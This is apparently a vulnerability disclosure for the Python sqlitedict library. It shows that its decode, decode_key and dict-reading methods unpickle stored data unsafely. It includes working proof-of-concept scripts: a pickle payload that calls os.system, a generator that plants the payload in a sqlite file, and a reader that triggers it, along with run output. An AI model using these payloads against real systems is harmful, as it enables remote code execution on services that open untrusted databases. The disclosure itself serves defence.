

Vulnerability Information

Preface

This vulnerability is tested with the newest sqlitedict library installed with pip (version 2.1.0), github repo: <https://github.com/piskvorky/sqlitedict/>

Principle and Proof of Concept

The decode and decode_key functions in the library use the loads function in pickle library (which is well known for its insecure deserialization). If the attacker can use those functions to load malicious payload (a class defined its own `__reduce__` method execute malicious codes), it would probably cause a RCE vulnerability.

The insecure part:

```
119
120 def encode(obj):
121     """Serialize an object using pickle to a binary format accepted by SQLite."""
122     return sqlite3.Binary(dumps(obj, protocol=PICKLE_PROTOCOL))
123
124
125 def decode(obj):
126     """Deserialize objects retrieved from SQLite."""
127     return loads(bytes(obj))
128
129
130 def encode_key(key):
131     """Serialize a key using pickle + base64 encoding to text accepted by SQLite."""
132     return b64encode(dumps(key, protocol=PICKLE_PROTOCOL)).decode("ascii")
133
134
135 def decode_key(key):
136     """Deserialize a key retrieved from SQLite."""
137     return loads(b64decode(key.encode("ascii")))
```

A simple PoC for these two functions(test.py):

```
1 from sqlitedict import decode, decode_key
2 import pickle, base64
3 import os
4
5
6 class Payload:
7     def __init__(self, cmd):
8         self.cmd=cmd
9     def __reduce__(self):
10         import os
11         return os.system, (self.cmd,)
12
13 payload1 = pickle.dumps(Payload('echo "decode pwned" >> proof.txt'))
14 decode(payload1)
15
16 payload2 = base64.b64encode(pickle.dumps(Payload('echo "decode_key pwned" >> proof.txt'))).decode()
17 decode_key(payload2)
18
19 f=open('proof.txt', 'r')
20 print("Content of proof.txt:")
21 print(f.read())
```

This PoC showed the dangerous of these two functions.

Run result:

```
$ python3 test.py
Content of proof.txt:
decode pwned
decode_key pwned
```

Although the decode and decode_key functions probably couldn't be called directly, if the attacker can edit/upload/update the sqlite data and the sqlite data can be opened, there will still be several attack surfaces.

The iteritems, iterkeys, and itervalues functions and the __getitem__ method in the class SqliteDict all call one of these two functions: decode and decode_key. Additionally, functions like items, keys, value also call the vulnerable functions/methods above. As a result, this library always has the chance of RCE to occur while reading sqlite file.

The insecure part:

```
273 def iterkeys(self):
274     GET_KEYS = 'SELECT key FROM "%s" ORDER BY rowid' % self.tablename
275     for key in self.conn.select(GET_KEYS):
276         yield self.decode_key(key[0])
277
278 def itervalues(self):
279     GET_VALUES = 'SELECT value FROM "%s" ORDER BY rowid' % self.tablename
280     for value in self.conn.select(GET_VALUES):
281         yield self.decode(value[0])
282
283 def iteritems(self):
284     GET_ITEMS = 'SELECT key, value FROM "%s" ORDER BY rowid' % self.tablename
285     for key, value in self.conn.select(GET_ITEMS):
286         yield self.decode_key(key), self.decode(value)
287
288 def keys(self):
289     return self.iterkeys()
290
291 def values(self):
292     return self.itervalue
293
294 def items(self):
295     return self.iteritems()
296
297 def __contains__(self, key):
298     HAS_ITEM = 'SELECT 1 FROM "%s" WHERE key = ?' % self.tablename
299     return self.conn.select_one(HAS_ITEM, (self.encode_key(key),)) is not None
300
301 def __getitem__(self, key):
302     GET_ITEM = 'SELECT value FROM "%s" WHERE key = ?' % self.tablename
303     item = self.conn.select_one(GET_ITEM, (self.encode_key(key),))
304     if item is None:
305         raise KeyError(key)
306     return self.decode(item[0])
307
```

poc_generator.py

```
1 from sqldict import SqliteDict, encode, decode, decode_key
2 import pickle
3 import base64
4 import os
5
6 class Payload:
7     def __init__(self, cmd):
8         self.cmd=cmd
9     def __reduce__(self):
10         import os
11         return os.system, (self.cmd,)
12
13 payload = Payload('echo "pwned by whale120" > proof.txt')
14 db = SqliteDict("example.sqlite")
15 db["1"] = {"name": "whale120"}
16 db["2"] = payload
17 db.commit()
18 db.close()
```

This PoC above generated the RCE payload file example.sqlite

poc_open_sql.py

```
1 from sqllitedict import SqliteDict
2 db=SqliteDict('example.sqlite')
3 for key, item in db.items():
4     print("%s=%s" % (key, item))
5
6 f=open('proof.txt', 'r')
7 print('Content of proof.txt:')
8 print(f.read())
9
```

This PoC is used to read the poisoned example.sqlite file and open the proof for the RCE result proof.txt

Run result:

```
(kali🐧kali)-[~/temp/sqlite-dict]
$ python3 poc_generator.py
295
(kali🐧kali)-[~/temp/sqlite-dict]
$ python3 poc_open_sql.py
1={'name': 'whale120'}
2=0
Content of proof.txt:
pwned by whale120
```

Potential triggers for the vulnerability

1. When the service allows users to upload a sqlite file and read it with the library.
2. When the service has an oob write vulnerability or when users have the permission to edit files.
3. When the service uses other libraries to manage sql so users can insert/update databases values
4. When it has vulnerabilities such as sql injection so the database can be edited with other methods.
5. Based on different ways of using the library, there may be other potential security risks.